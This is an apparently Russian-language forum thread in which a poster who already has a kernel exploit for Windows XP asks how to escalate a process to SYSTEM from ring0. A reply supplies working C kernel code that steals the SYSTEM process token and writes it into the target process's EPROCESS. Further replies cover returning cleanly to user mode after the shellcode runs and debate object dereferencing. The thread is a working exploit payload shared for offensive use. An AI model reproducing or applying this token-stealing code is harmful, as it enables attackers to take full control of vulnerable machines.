Народ прошу помощи. Вообщем есть сплойт, я попадаю в ринг0. Все это только на XP SP1,2,3. Нужно поднять права процесса до system, как сделать это из ring0. Буду признателен любым материалам.
Примерно так: Код (Text): PEPROCESS TargetProcess, SystemProcess; PACCESS_TOKEN SystemToken, TargetToken; NTSTATUS Status; PULONG pUlong; const DWORD MaxExpectedEprocessSize = 0x400; ULONG i; SystemProcess = *(PEPROCESS*)PsInitialSystemProcess; Status = PsLookupProcessByProcessId (dwProcessId, &TargetProcess); if (NT_SUCCESS (Status)) { SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken (SystemProcess); TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken (TargetProcess); *(ULONG*)TargetToken &= 0xFFFFFFF8; // zero three lowest bits for (i = 0; i < MaxExpectedEprocessSize; i ++) { pUlong = (PULONG)((PCHAR)TargetProcess + i); if ( (*pUlong & 0xFFFFFFF8) == (ULONG)TargetToken) { *pUlong = (ULONG)SystemToken; ObfDereferenceObject (TargetProcess); break; } } }
Спасибо это мне известно, я шеллкоде уже нашел, просто хотел посмотреть нюансы разработки и все, а имено как назад в ринг 3 попасть, что без глюков. Шеллкоде выполняетца при IRQL==0 (PASSIVE_LEVEL)
СFF Назад? Ну например убить процесс родитель юзая ZwTerminateProcess. Могут быть проблемы с KTHREAD и с KTRAP_FRAME и с KTSS. Я не знаю что у вас за сплоит. Отлаживайте, смотрите отладчик и поймете в чем дело.
Варианта обычно два: 1. Никак, после исполнения шеллкода поток/процесс завершается/саспендится. 2. Восстановление затёртых адресов возврата и EBP с последующим нормальным возвратом из уязвимой функции.
http://undocumented.ntinternals.net...ns/NT Objects/Process/NtTerminateProcess.html http://undocumented.ntinternals.net...ions/NT Objects/Thread/NtTerminateThread.html http://www.osronline.com/ddkx/kmarch/k105_7epe.htm
TermoSINteZ Код (Text): if ( (*pUlong & 0xFFFFFFF8) == (ULONG)TargetToken) { *pUlong = (ULONG)SystemToken; ObfDereferenceObject (TargetProcess); break; } А разве ObfDereferenceObject надо делать не для полученного TOKEN'а?
Mika0x65 А почему нет? Раз получили объект токена через PsReferencePrimaryToken, потом он не нужен, нужно дерефнуть. Ну по правилам хорошего тона конечно же.
TermoSINteZ Не, я к тому, что ObfDereferenceObject надо делать не для EPROCESS, а для самого _TOKEN'а. А для своего TOKEN'а, вероятно, надо два раза сделать, т.к. все равно мы на него не ссылаемся уже.